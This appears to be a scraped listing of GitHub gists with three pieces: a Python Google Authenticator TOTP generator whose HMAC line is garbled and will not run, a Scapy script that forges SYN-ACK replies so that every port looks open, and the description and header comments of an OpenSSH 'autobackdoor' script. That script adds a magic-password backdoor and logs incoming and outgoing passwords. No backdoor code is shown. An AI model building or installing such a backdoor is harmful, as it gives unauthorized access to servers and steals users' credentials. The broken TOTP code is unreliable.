Google Auth TOTP code generator, just seed it with your MFA secret key and it'll generate codes exactly as Google Auth does.
def get_totp_token(secret, refresh_time=int(time.time())//30):
secret = secret.strip().replace(' ', '')
secret = secret.ljust((len(secret) + 7) & (-8) ,'=')
key = base64.b32decode(secret, True)
msg = struct.pack(">Q", refresh_time)
h = bytearray(, msg, hashlib.sha1).digest())
o = h[19] & 15
h = str((struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000)
return h.zfill(6)

Fun Python & Scapy script that will answer 'SYN ACK' to any TCP 'SYN' packet received on any port

Python - Scapy - Show all your ports as open

from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
    if pkt[TCP].flags == 2:
        print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
 send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))

Last active October 14, 2017 21:05 — forked from eyecatchup/openssh-autobackdoor.bash
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# ============================================
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
